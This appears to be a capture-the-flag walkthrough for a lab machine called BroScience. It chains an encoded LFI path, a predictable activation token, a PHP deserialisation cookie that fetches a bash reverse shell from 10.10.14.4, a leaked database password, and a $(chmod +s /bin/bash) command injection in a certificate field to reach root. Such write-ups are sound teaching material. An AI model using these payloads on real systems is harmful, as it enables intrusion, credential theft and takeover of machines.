BroScience

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.127.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-10 22:54 EST
Nmap scan report for 10.129.127.134
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

We have two HTTP ports, and we would have to add broscience.htb to our /etc/hosts file in order to access them. Visiting port 80 redirects us to the HTTPS site.

Vhost and directory scans don't reveal much regarding this.

BroScience Enumeration

We can take note that there is an administrator user present on the website, as they have made posts. Also, there's a login feature for this website. We are redirected to login.php when we click on Log In.

Within each post, there's an Add Comment functionality that requires us to be logged in. I attempted to register an account, but this didn't work because we had to find an activation link.

So there's an activation link of some sort. I ran a directory scan for .php files on the website, and found quite a few.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -u https://broscience.htb -t 100 -x php -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://broscience.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/01/10 23:09:04 Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 1936]
/images               (Status: 301) [Size: 319] [-> https://broscience.htb/images/]
/.php                 (Status: 403) [Size: 280]
/index.php            (Status: 200) [Size: 9308]
/register.php         (Status: 200) [Size: 2161]
/user.php             (Status: 200) [Size: 1309]
/comment.php          (Status: 302) [Size: 13] [-> /login.php]
/includes             (Status: 301) [Size: 321] [-> https://broscience.htb/includes/]
/manual               (Status: 301) [Size: 319] [-> https://broscience.htb/manual/]
/javascript           (Status: 301) [Size: 323] [-> https://broscience.htb/javascript/]
/logout.php           (Status: 302) [Size: 0] [-> /index.php]
/styles               (Status: 301) [Size: 319] [-> https://broscience.htb/styles/]
/activate.php         (Status: 200) [Size: 1256]

activate.php requires a code variable to be input. Perhaps this is the place we go to activate our registered accounts.

LFI in img.php

When heading to the /includes directory, we can find some other PHP files that could contain credentials.

Out of all of them, img.php requires a path parameter to be passed to it. It also detects LFI

$ curl -k https://broscience.htb/includes/img.php
<b>Error:</b> Missing 'path' parameter. 
$ curl -k https://broscience.htb/includes/img.php?path=/etc/passwd
<b>Error:</b> Attack detected.

We can attempt to read the db_connect.php file somehow. I attempted to double URL encode the path value, and it worked!

$ curl -k https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

From here, we can see that is a postgres and bill user on the machine. Now, I wanted to read the files located within the machine to find some useful files within the /includes directory.

I was able to read the db_connect.php file by double URL encoding ../includes/db_connect.php and passing it as the parameter.

Trying this credential found does not work anywhere though. So I read the other files, and the utils.php file contained some useful information about how the activation code was generated.

Activation Code Spoofing

This is the function for the activation code.

function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

We can see that this uses srand(time()) to generate the code. I found a few sources saying how this was a bad seed for a token as it can be predictable.

Perhaps we had to spoof the token somehow via brute force. We can also check activate.php, which we found earlier.

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
                
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}

There is an account query being made, and regex is used to detect the presence of a 32-character long code. For this, we can simply use the fact that when we register an account, there is a specific time on the system being used at that moment to generate our activation token in the database.

This is the HTTP response when we submit a new register request:

HTTP/1.1 200 OK
Date: Wed, 11 Jan 2023 04:26:56 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2409
Connection: close
Content-Type: text/html; charset=UTF-8

Notice that there's a specific time specified by the machine. Perhaps we can just use this time to generate our activation cookie and then head to activate.php which asks for a code parameter. So, we can first copy the code used to generate the activation_code parameter.

Then, we can change the usage of time() to strtotime('Wed, 11 Jan 2023 04:41:37 GMT'), which is the time I registered a new account. The end script and output looks like this:

<?php
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";

srand(strtotime('Wed, 11 Jan 2023 04:41:37 GMT'));
//echo time();
echo "\n";
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
    $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;


$ php code.php       
vmsQdLZ9v5aUqAiUalTmt5CYnIxqrvpF

Afterwards, we use this token variable at activate.php.

Afterwards, we can just login as the user.

PHP Deserialisation

When reading the utils.php code some more, I found a few interesting bits. First is a hint to use deserialisation to exploit the machine, and a class called Avatar to exploit it with.

utils.php
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

# Avatar Class elsewhere with f
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

The function is called via the swap_theme.php file. (use LFI to read)

swap_theme.php
// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
    set_theme("dark");
} else {
    set_theme("light");
}

Here's a good article to read on exploiting PHP deserialisation:

Now, within the Avatar class, we can see a __construct function being used, which is invoked when an object is created. The class also takes in tmp file and writes it out on the machine.

So the exploit path is simple:

  • Create a new object via injection

  • Have the machine use fopen to read a file (via HTTP) and write it to the machine. This file would be a reverse shell.

  • curl the file and gain a reverse shell.

Here's a reverse shell that can work:

<?php
  system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'");
?>

Then, we need to generate a cookie using specific values from the classes. A simple script with pre-defined variables to serialise and create our cookie suffices.

evil.php
<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.14.4/rev.php";
    public $imgPath = "./rev.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
$serialized = base64_encode(serialize(new AvatarInterface))
echo $serialized
?>

$ php evil.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjQvcmV2LnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vcmV2LnBocCI7fQ==

Then, we can simply send a request with this the output as the cookie. We would get a few hits on our HTTP server.

Then we can simply curl it to gain a reverse shell.

Privilege Escalation

PostgreSQL Creds

Earlier, we found a db_connect.php file that contained some credentials. We can attempt to access the PostgreSQL instance listening on port 5432 on the machine.

www-data@broscience: /var/www/html$ psql -h localhost -d broscience -U dbuser -W
# Password is RangeOfMotion%777

We can use \d to read the tables present on the machine.

 Schema |       Name       |   Type   |  Owner   
--------+------------------+----------+----------
 public | comments         | table    | postgres
 public | comments_id_seq  | sequence | postgres
 public | exercises        | table    | postgres
 public | exercises_id_seq | sequence | postgres
 public | users            | table    | postgres
 public | users_id_seq     | sequence | postgres

Then, we can read the stuff in the users file.

We would find lots of hashes. Since the user on the machine is bill, let's attempt to crack his hash. The db_connect.php file did have a salt for the hashes as "NaCl". Using this, we can generate a wordlist based on rockyou.txt with this salt prepended to all the words.

cp /usr/share/wordlists/rockyou.txt .
sed -i 's|^|NaCl|g' rockyou.txt

Then, we can use hashcat to crack the hash.

The part without the salt is the password that we can use to SSH in as bill.

Renew_cert.sh

Within the /opt directory, there's a renew_cert.sh file.

#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
fi

This could potentially be a cronjob that is running, so I downloaded and ran pspy64 to make sure. We would see the root user running this:

/bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt

Very obviously, the commonName parameter is where we would store our payload to become root. We can use openssl to generate a quick cert to exploit this and create an SUID bash binary. We can leave all the other parameters blank except for the Common Name.

bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt
Generating a RSA private key
.....................................................................................++++
....................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod +s /bin/bash)
Email Address []:

After a while, it would execute and allow us to spawn in a root shell.

Last updated